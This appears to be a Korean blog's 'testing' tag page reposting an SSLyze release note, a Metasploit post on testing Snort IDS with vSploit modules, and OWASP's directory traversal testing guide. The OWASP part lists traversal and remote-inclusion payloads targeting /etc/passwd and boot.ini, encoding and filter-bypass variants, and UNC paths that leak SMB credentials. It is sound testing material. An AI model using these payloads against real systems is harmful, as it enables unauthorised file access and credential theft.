'testing'에 해당되는 글 4건
- 2012.03.27 SSLyze v0.4 Released
- 2011.07.11 Testing Snort IDS with Metasploit vSploit Modules
- 2010.06.01 Testing for Directory Traversal
| 트윗하기 | |||
SSLyze
Better, faster scanner to analyze the configuration of SSL servers.
- Supports cipher suites scanning, insecure renegotiation verification, session resumption testing, client certificates, and more...
- Tested on Python 2.6 & 2.7 with Ubuntu and Windows 7, both 32 and 64 bits. Might work on other platforms as well.
- Based on OpenSSL and a custom SSL Python wrapper.
Contact: sslyze /at/ isecpartners \dot\ com
New release !! - SSLyze v0.4
- Support for OpenSSL 1.0.1 and TLS 1.1 and 1.2 scanning. See --tlsv1_1 and --tlsv1_2.
- Support for HTTP CONNECT proxies. See --https_tunnel.
- Support for StartTLS with SMTP and XMPP. See --starttls.
- Improved/clarified output.
- Various bug fixes.
Testing Snort IDS with Metasploit vSploit Modules
| 트윗하기 | |||
One of my key objectives for developing the new vSploit modules was to test network devices such as Snort. Snort or Sourcefire enterprise products are widely deployed in enterprises, so Snort can safely be considered the de-facto standard when it comes to intrusion detection systems (IDS). So much that even third-party intrusion detection systems often import Snort rules.
Organizations are often having a tough time verifying that their IDS deployment actually work as intended, which is why I created several vSploit modules to test whether Snort sensors are seeing certain traffic. Because vSploit modules were made to trigger Snort alerts, so they don't obfuscate attacks to avoid detection.
However, not every rule is used in every environment. For example, if you aren't using Microsoft Frontpage on your network, you likely won't want to use Snort's Frontpage rules. On the other hand, if you are running Frontpage you may not want to try exploiting it because it may affect the production system. Because of Metasploit Framework's flexibility, you can use the vSploit Generic HTTP Server module to host a small web server that answers all testing requests, so production systems won't be affected.
You can run vSploit modules with a mix of Metasploit Framework, Metasploit Pro, and Metasploit Express, providing there is end-to-end network connectivity to the vSploit instances:
To try out the new vSploit modules, start up the vSploit Generic HTTP Server.
Then launch Frontpage-related attack attributes:
Verify that the packets are being transmitted in Wireshark:
Finally, verify that Snort IDS sees the activity:
Metasploit vSploit Modules will be released at DEFCON 19.
출처 : Metasploit Blog
| 트윗하기 | |||
Black Box testing and example
(a) Input Vectors Enumeration
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application which accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.
Here are some examples of the checks to be performed at this stage:
- Are there request parameters which could be used for file-related operations?
- Are there unusual file extensions?
- Are there interesting variable names?
http://example.com/getUserProfile.jsp?item=ikki.html http://example.com/index.php?file=content http://example.com/main.cgi?home=index.htm
- Is it possible to identify cookies used by the web application for the dynamic generation of pages/templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Testing Techniques
The next stage of testing is analyzing the input validation functions present in the web application.
Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a file, showing the content to users. An attacker could insert the malicious string "../../../../etc/passwd" to include the password hash file of a Linux/Unix system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the filesystem privileges, the web application itself must be able to read the file.
To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
For the cookies example, we have:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
It's also possible to include files and scripts located on external website.
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal chars.
http://example.com/main.cgi?home=main.cgi
The component called "main.cgi" is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the "." dot, "%00" null, ...) in order to bypass file extension controls or to prevent script execution.
Tip It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first your test string isn't successful, try another encoding scheme.
Each operating system uses different chars as path separator:
Unix-like OS:
root directory: "/" directory separator: "/"
Windows OS' Shell':
root directory: "<drive letter>:\" directory separator: "\" or "/" Greater and less than ">" and "<" Double quotes (closed properly) – Extraneous current directory markers such as "./" or ".\" – Extraneous parent directory markers with arbitrary items that may or may not exist Examples: – file.txt – file.txt... - file.txt... – file.txt<spaces> – file.txt”””” –file.txt<<<>><>< – file.txt/./././ – nonexistant/../file.txt MAX_PATH of a filename can be exceeded by prefixing with \\?\ - but must be an absolute path, no parent or current directory indicators can be used, such as ./ or ../
"Windows API"
The following items are discarded: periods spaces
"Windows UNC Filenames"
Used to reference files on a SMB share. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. \\server_or_ip\path\to\file.abc \\?\server_or_ip\path\to\file.abc
"Windows NT Device Namespace"
Used to refer to the Windows device namespace \\.\GLOBALROOT\Device\HarddiskVolume1\ -equivalent to c:\ \\\airpcap00\ \\.\airpcap00\ \\.\CdRom0\
Usually, on Windows, the directory traversal attack is limited to a single partition
"DOS Special Devices"
\ CON - thee console PRN - a parallel printer COM1 - the first serial port NUL - bit bucket (/dev/null equivalent) Extensions are ignored. Ex: - COM.bat -CON.<666x"A">
Classic Mac OS:
root directory: "<drive letter>:" directory separator: ":"
We should take in account the following chars encoding:
- URL encoding and double URL encoding
%2e%2e%2f represents ../ %2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\ %252e%252e%255c represents ..\ ..%255c represents ..\ and so on.
- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
..%c0%af represents ../ ..%c1%9c represents ..\
Gray Box testing and example
When the analysis is performed with a Gray Box approach, we have to follow the same methodology as in Black Box Testing. However, since we can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, we can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... JSP/Servlet: java.io.File(), java.io.FileReader(), ... ASP: include file, include virtual, ...
Using online code search engines (e.g., Google CodeSearch, Koders), it may also be possible to find path traversal flaws in OpenSource software published on the Internet.
For PHP, we can use:
lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.
Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe", but otherwise they are not.
Additionally, reviewing the source code, it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
Consider a web application with these instructions:
filename = Request.QueryString(“file”); Replace(filename, “/”,”\”); Replace(filename, “..\”,””);
Testing for the flaw is achieved by:
file=....//....//boot.ini file=....\\....\\boot.ini file= ..\..\boot.ini
출처 : www.owasp.org
Prev
